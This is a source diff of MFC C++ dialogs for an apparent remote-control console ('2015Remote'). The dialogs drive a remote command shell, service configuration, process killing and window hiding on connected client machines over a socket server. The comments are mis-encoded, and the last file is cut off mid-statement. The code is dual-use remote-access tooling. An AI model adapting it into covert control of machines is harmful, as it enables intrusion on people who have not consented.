void CServicesDlg::ServicesConfig(BYTE bCmd)
|
||||
{
|
||||
DWORD dwOffset = 2;
|
||||
POSITION Pos = m_ControlList.GetFirstSelectedItemPosition();
|
||||
int iItem = m_ControlList.GetNextSelectedItem(Pos);
|
||||
|
||||
CString strServicesName = m_ControlList.GetItemText(iItem, 0 );
|
||||
char* szServiceName = strServicesName.GetBuffer(0);
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(szServiceName)); //[][][]\0
|
||||
szBuffer[0] = COMMAND_SERVICECONFIG;
|
||||
szBuffer[1] = bCmd;
|
||||
|
||||
|
||||
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
38
server/2015Remote/ServicesDlg.h
Normal file
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CServicesDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CServicesDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CServicesDlg)
|
||||
|
||||
public:
|
||||
CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CServicesDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
int CServicesDlg::ShowServicesList(void);
|
||||
void CServicesDlg::OnReceiveComplete(void);
|
||||
void CServicesDlg::ServicesConfig(BYTE bCmd);
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SERVICES };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_ControlList;
|
||||
virtual BOOL OnInitDialog();
|
||||
CStatic m_ServicesCount;
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnServicesAuto();
|
||||
afx_msg void OnServicesManual();
|
||||
afx_msg void OnServicesStop();
|
||||
afx_msg void OnServicesStart();
|
||||
afx_msg void OnServicesReflash();
|
||||
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
};
|
||||
111
server/2015Remote/SettingDlg.cpp
Normal file
@@ -0,0 +1,111 @@
|
||||
// SettingDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "SettingDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSettingDlg, CDialog)
|
||||
|
||||
CSettingDlg::CSettingDlg(CWnd* pParent)
|
||||
: CDialog(CSettingDlg::IDD, pParent)
|
||||
, m_nListenPort(0)
|
||||
, m_nMax_Connect(0)
|
||||
{
|
||||
}
|
||||
|
||||
CSettingDlg::~CSettingDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort);
|
||||
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
|
||||
DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_BUTTON_SETTINGAPPLY, &CSettingDlg::OnBnClickedButtonSettingapply)
|
||||
ON_EN_CHANGE(IDC_EDIT_PORT, &CSettingDlg::OnEnChangeEditPort)
|
||||
ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax)
|
||||
ON_BN_CLICKED(IDC_BUTTON_MSG, &CSettingDlg::OnBnClickedButtonMsg)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CSettingDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CSettingDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "ListenPort");
|
||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection");
|
||||
|
||||
m_nListenPort = nPort;
|
||||
m_nMax_Connect = nMaxConnection;
|
||||
|
||||
UpdateData(FALSE);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//MessageBox("1");
|
||||
UpdateData(TRUE);
|
||||
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "ListenPort", m_nListenPort);
|
||||
//<2F><>ini<6E>ļ<EFBFBD><C4BC><EFBFBD>д<EFBFBD><D0B4>ֵ
|
||||
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "MaxConnection", m_nMax_Connect);
|
||||
|
||||
m_ApplyButton.EnableWindow(FALSE);
|
||||
m_ApplyButton.ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnEnChangeEditPort()
|
||||
{
|
||||
// TODO: <20><><EFBFBD><EFBFBD><EFBFBD>ÿؼ<C3BF><D8BC><EFBFBD> RICHEDIT <20>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD>ʹ<EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д CDialog::OnInitDialog()
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CRichEditCtrl().SetEventMask()<29><>
|
||||
// ͬʱ<CDAC><CAB1> ENM_CHANGE <20><>־<EFBFBD><D6BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㵽<EFBFBD><E3B5BD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><>Button<6F><6E><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>
|
||||
m_ApplyButton.ShowWindow(SW_NORMAL);
|
||||
m_ApplyButton.EnableWindow(TRUE);
|
||||
}
|
||||
|
||||
void CSettingDlg::OnEnChangeEditMax()
|
||||
{
|
||||
// TODO: <20><><EFBFBD><EFBFBD><EFBFBD>ÿؼ<C3BF><D8BC><EFBFBD> RICHEDIT <20>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD>ʹ<EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д CDialog::OnInitDialog()
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CRichEditCtrl().SetEventMask()<29><>
|
||||
// ͬʱ<CDAC><CAB1> ENM_CHANGE <20><>־<EFBFBD><D6BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㵽<EFBFBD><E3B5BD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HWND hApplyButton = ::GetDlgItem(m_hWnd,IDC_BUTTON_SETTINGAPPLY);
|
||||
|
||||
::ShowWindow(hApplyButton,SW_NORMAL);
|
||||
::EnableWindow(hApplyButton,TRUE);
|
||||
}
|
||||
|
||||
|
||||
void CSettingDlg::OnBnClickedButtonMsg()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HWND hFather = NULL;
|
||||
|
||||
hFather = ::FindWindow(NULL,"2015Remote");
|
||||
::SendMessage(hFather,WM_CLOSE,NULL,NULL);
|
||||
}
|
||||
31
server/2015Remote/SettingDlg.h
Normal file
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
#include "afxwin.h"
|
||||
|
||||
|
||||
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CSettingDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CSettingDlg)
|
||||
|
||||
public:
|
||||
CSettingDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CSettingDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SET };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
UINT m_nListenPort;
|
||||
UINT m_nMax_Connect;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedButtonSettingapply();
|
||||
afx_msg void OnEnChangeEditPort();
|
||||
afx_msg void OnEnChangeEditMax();
|
||||
CButton m_ApplyButton;
|
||||
afx_msg void OnBnClickedButtonMsg();
|
||||
};
|
||||
177
server/2015Remote/ShellDlg.cpp
Normal file
@@ -0,0 +1,177 @@
|
||||
// ShellDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ShellDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CShellDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
|
||||
|
||||
CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: CDialog(CShellDlg::IDD, pParent)
|
||||
{
|
||||
m_iocpServer = IOCPServer;
|
||||
m_ContextObject = ContextObject;
|
||||
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_SHELL));
|
||||
}
|
||||
|
||||
CShellDlg::~CShellDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CShellDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT, m_Edit);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_CTLCOLOR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CShellDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CShellDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
m_nCurSel = 0;
|
||||
m_nReceiveLength = 0;
|
||||
SetIcon(m_hIcon,FALSE);
|
||||
|
||||
CString str;
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int ClientAddrLen = sizeof(ClientAddr);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
|
||||
|
||||
str.Format("%s - Զ<><D4B6><EFBFBD>ն<EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "");
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
|
||||
VOID CShellDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_ContextObject==NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
AddKeyBoardData();
|
||||
m_nReceiveLength = m_Edit.GetWindowTextLength();
|
||||
}
|
||||
|
||||
|
||||
VOID CShellDlg::AddKeyBoardData(void)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
|
||||
|
||||
//Hello>dir
|
||||
//Shit\0
|
||||
m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //<2F>ӱ<EFBFBD><D3B1><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>\0
|
||||
CString strResult = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> \0
|
||||
|
||||
//<2F>滻<EFBFBD><E6BBBB>ԭ<EFBFBD><D4AD><EFBFBD>Ļ<EFBFBD><C4BB>з<EFBFBD> <20><><EFBFBD><EFBFBD>cmd <20>Ļ<EFBFBD><C4BB><EFBFBD>ͬw32<33>µı༭<C4B1>ؼ<EFBFBD><D8BC>Ļ<EFBFBD><C4BB>з<EFBFBD><D0B7><EFBFBD>һ<EFBFBD><D2BB> <20><><EFBFBD>еĻس<C4BB><D8B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
strResult.Replace("\n", "\r\n");
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir
|
||||
//hello
|
||||
//1.txt
|
||||
//2.txt
|
||||
//dir\r\n
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>궨λ<EAB6A8><CEBB><EFBFBD><EFBFBD>λ<EFBFBD>ò<EFBFBD>ѡ<EFBFBD><D1A1>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD> Ҳ<><D2B2><EFBFBD><EFBFBD>ĩβ <20><>Ϊ<EFBFBD>ӱ<EFBFBD><D3B1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Ҫ<><D2AA>ʾ<EFBFBD><CABE> <20><><EFBFBD>ǵ<EFBFBD> <20><>ǰ<EFBFBD><C7B0><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD>
|
||||
m_Edit.SetSel(iLength, iLength);
|
||||
|
||||
//<2F>ô<EFBFBD><C3B4>ݹ<EFBFBD><DDB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>滻<EFBFBD><E6BBBB><EFBFBD><EFBFBD>λ<EFBFBD>õ<EFBFBD><C3B5>ַ<EFBFBD> //<2F><>ʾ
|
||||
m_Edit.ReplaceSel(strResult);
|
||||
|
||||
//<2F><><EFBFBD>µõ<C2B5><C3B5>ַ<EFBFBD><D6B7>Ĵ<EFBFBD>С
|
||||
|
||||
m_nCurSel = m_Edit.GetWindowTextLength(); //Hello
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><E2B5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>Զ<EFBFBD><D4B6><EFBFBD>ն<EFBFBD>ʱ <20><><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>س<EFBFBD>
|
||||
//Ҫ<>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD>Ҫ<EFBFBD><D2AA>PreTranslateMessage<67><65><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
}
|
||||
|
||||
void CShellDlg::OnClose()
|
||||
{
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
|
||||
|
||||
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>VK_ESCAPE<50><45>VK_DELETE
|
||||
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
|
||||
return true;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ǿɱ༭<C9B1><E0BCAD><EFBFBD>Ļس<C4BB><D8B3><EFBFBD>
|
||||
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd)
|
||||
{
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
int iLength = m_Edit.GetWindowTextLength(); //Hello>dir 3
|
||||
CString str;
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_Edit.GetWindowText(str);//dir\r\n
|
||||
//<2F><><EFBFBD>뻻<EFBFBD>з<EFBFBD>
|
||||
str += "\r\n";
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>ټ<EFBFBD><D9BC><EFBFBD>ԭ<EFBFBD>е<EFBFBD><D0B5>ַ<EFBFBD><D6B7><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>ͳ<EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength(); //<2F><><EFBFBD>¶<EFBFBD>λm_nCurSel m_nCurSel = 3
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>VK_BACK
|
||||
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd)
|
||||
{
|
||||
if (m_Edit.GetWindowTextLength() <= m_nReceiveLength)
|
||||
return true;
|
||||
}
|
||||
//dir\r\n 5
|
||||
//hello\r\n 7
|
||||
//
|
||||
}
|
||||
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT))
|
||||
{
|
||||
COLORREF clr = RGB(255, 255, 255);
|
||||
pDC->SetTextColor(clr); //<2F><><EFBFBD>ð<EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ı<EFBFBD>
|
||||
clr = RGB(0,0,0);
|
||||
pDC->SetBkColor(clr); //<2F><><EFBFBD>ú<EFBFBD>ɫ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
return CreateSolidBrush(clr); //<2F><>ΪԼ<CEAA><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD>ɫ<EFBFBD><C9AB>Ӧ<EFBFBD><D3A6>ˢ<EFBFBD>Ӿ<EFBFBD><D3BE><EFBFBD>
|
||||
}
|
||||
else
|
||||
{
|
||||
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
}
|
||||
return hbr;
|
||||
}
|
||||
35
server/2015Remote/ShellDlg.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CShellDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CShellDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CShellDlg)
|
||||
|
||||
public:
|
||||
CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
virtual ~CShellDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
VOID CShellDlg::OnReceiveComplete();
|
||||
HICON m_hIcon;
|
||||
UINT m_nReceiveLength;
|
||||
VOID CShellDlg::AddKeyBoardData(void);
|
||||
UINT m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>;
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SHELL };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
CEdit m_Edit;
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
};
|
||||
390
server/2015Remote/SystemDlg.cpp
Normal file
@@ -0,0 +1,390 @@
|
||||
// SystemDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "SystemDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
enum
|
||||
{
|
||||
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: CDialog(CSystemDlg::IDD, pParent)
|
||||
{
|
||||
m_ContextObject = ContextObject;
|
||||
m_iocpServer = IOCPServer;
|
||||
|
||||
char *lpBuffer = (char *)(m_ContextObject->InDeCompressedBuffer.GetBuffer(0)); //<2F><><EFBFBD>ض˴<D8B6><CBB4>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_bHow=lpBuffer[0];
|
||||
}
|
||||
|
||||
CSystemDlg::~CSystemDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST_SYSTEM, m_ControlList);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_SYSTEM, &CSystemDlg::OnNMRClickListSystem)
|
||||
ON_COMMAND(ID_PLIST_KILL, &CSystemDlg::OnPlistKill)
|
||||
ON_COMMAND(ID_PLIST_REFRESH, &CSystemDlg::OnPlistRefresh)
|
||||
ON_COMMAND(ID_WLIST_REFRESH, &CSystemDlg::OnWlistRefresh)
|
||||
ON_COMMAND(ID_WLIST_CLOSE, &CSystemDlg::OnWlistClose)
|
||||
ON_COMMAND(ID_WLIST_HIDE, &CSystemDlg::OnWlistHide)
|
||||
ON_COMMAND(ID_WLIST_RECOVER, &CSystemDlg::OnWlistRecover)
|
||||
ON_COMMAND(ID_WLIST_MAX, &CSystemDlg::OnWlistMax)
|
||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CSystemDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CSystemDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString str;
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int iSockAddrLength = sizeof(ClientAddr);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ӵ<EFBFBD>ip
|
||||
str.Format("%s - <20><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "");
|
||||
SetWindowText(str);//<2F><><EFBFBD>öԻ<C3B6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
|
||||
if (m_bHow==TOKEN_PSLIST) //<2F><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>б<EFBFBD>
|
||||
{
|
||||
m_ControlList.InsertColumn(0, "ӳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 120);
